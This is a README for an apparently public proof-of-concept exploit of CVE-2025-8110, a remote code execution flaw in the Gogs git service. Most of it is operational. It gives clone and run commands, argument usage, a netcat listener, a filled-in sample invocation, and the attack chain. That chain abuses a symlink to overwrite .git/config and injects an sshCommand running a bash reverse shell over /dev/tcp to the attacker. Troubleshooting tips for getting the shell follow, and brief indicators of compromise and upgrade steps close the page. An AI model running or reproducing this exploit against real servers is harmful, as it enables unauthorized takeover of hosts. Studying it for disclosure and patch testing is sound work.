x4brozer/cve-2025-8110Gogs RCE PoC - CVE-2025-8110
Proof of Concept for CVE-2025-8110 - Remote Code Execution in Gogs via symlink bypass and sshCommand injection.
This exploit abuses a symlink bypass in Gogs API to overwrite .git/config and inject malicious sshCommand that executes a reverse shell.
git clone https://github.com/X4BROZER/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
Argument Description -u, --url Target Gogs URL (e.g., http://target:3000) -U, --username Gogs username -P, --password Gogs password -t, --token Gogs API token -lh, --host Your IP for reverse shell -lp, --port Your port for listener -x, --proxy Enable proxy (localhost:8080)
Login to Gogs → Settings → Applications → Generate token
nc -lvnp 4444
python3 exploit.py -u http://target:3000 -U <USERNAME GOGS> -P <PASSWORD GOGS> -t <TOKEN> -lh <ATTACKER IP> -lp <ATTACKER PORT>
python3 exploit.py -u http://localhost:3001 -U amine -P amine -t 44f4e64a1e6353f247050055aa0d3cc13b577ac3 -lh 10.10.17.134 -lp 4444
Creates repository with symlink to .git/config
Uses PutContents API to write to symlink
Injects sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #
Gogs executes command → reverse shell
Troubleshooting Problem Solution Login failed Check username/password Repo creation failed Regenerate API token Read timeout Normal - check listener No shell Check firewall, try different port Indicators of Compromise Random 8-character repository names
malicious_link symlink in repos
sshCommand in .git/config
Remediation Update to Gogs v0.13.4 or later:
wget https://dl.gogs.io/v0.13.4/gogs_v0.13.4_linux_amd64.tar.gz
tar -xzf gogs_v0.13.4_linux_amd64.tar.gz
Legal Disclaimer This tool is for educational and authorized testing only. Unauthorized access is illegal.
Credits Discovery: Wiz Research
Original PoC: zAbuQasem
Exploit: X4BROZER